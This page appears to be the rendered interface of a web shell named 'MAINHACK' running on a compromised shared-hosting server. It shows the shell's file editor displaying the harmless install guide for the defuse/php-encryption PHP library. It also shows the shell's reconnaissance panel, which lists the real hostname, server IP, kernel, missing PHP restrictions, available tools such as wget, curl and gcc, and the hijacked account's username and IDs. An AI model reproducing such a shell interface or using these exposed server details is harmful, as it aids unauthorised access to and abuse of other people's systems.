[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: InstallingAndVerifying.md
Getting The Code ================= There are two ways to use this library in your applications. You can either: 1. Use [Composer](https://getcomposer.org/), or 2. `require_once` a single `.phar` file in your application. If you are not using either option (for example, because you're using Git submodules), you may need to write your own autoloader ([example](https://gist.github.com/paragonie-scott/949daee819bb7f19c50e5e103170b400)). Option 1: Using Composer ------------------------- Run this inside the directory of your composer-enabled project: ```sh composer require defuse/php-encryption ``` Unfortunately, composer doesn't provide a way for you to verify that the code you're getting was signed by this library's authors. If you want a more secure option, use the `.phar` method described below. Option 2: Including a PHAR ---------------------------- The `.phar` option lets you include this library into your project simply by calling `require_once` on a single file. Download `defuse-crypto.phar` and `defuse-crypto.phar.sig` from this project's [releases](https://github.com/defuse/php-encryption/releases) page. You should verify the integrity of the `.phar`. The `defuse-crypto.phar.sig` contains the signature of `defuse-crypto.phar`. It is signed with Taylor Hornby's PGP key. You can find Taylor's public key in `dist/signingkey.asc`. You can verify the public key's fingerprint against the Taylor Hornby's [contact page](https://defuse.ca/contact.htm) and [twitter](https://twitter.com/DefuseSec/status/723741424253059074). Once you have verified the signature, it is safe to use the `.phar`. Place it somewhere in your file system, e.g. `/var/www/lib/defuse-crypto.phar`, and then pass that path to `require_once`. ```php <?php require_once('/var/www/lib/defuse-crypto.phar'); // ... the Crypto, File, Key, and KeyProtectedByPassword classes are now // available ... // ... ```
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285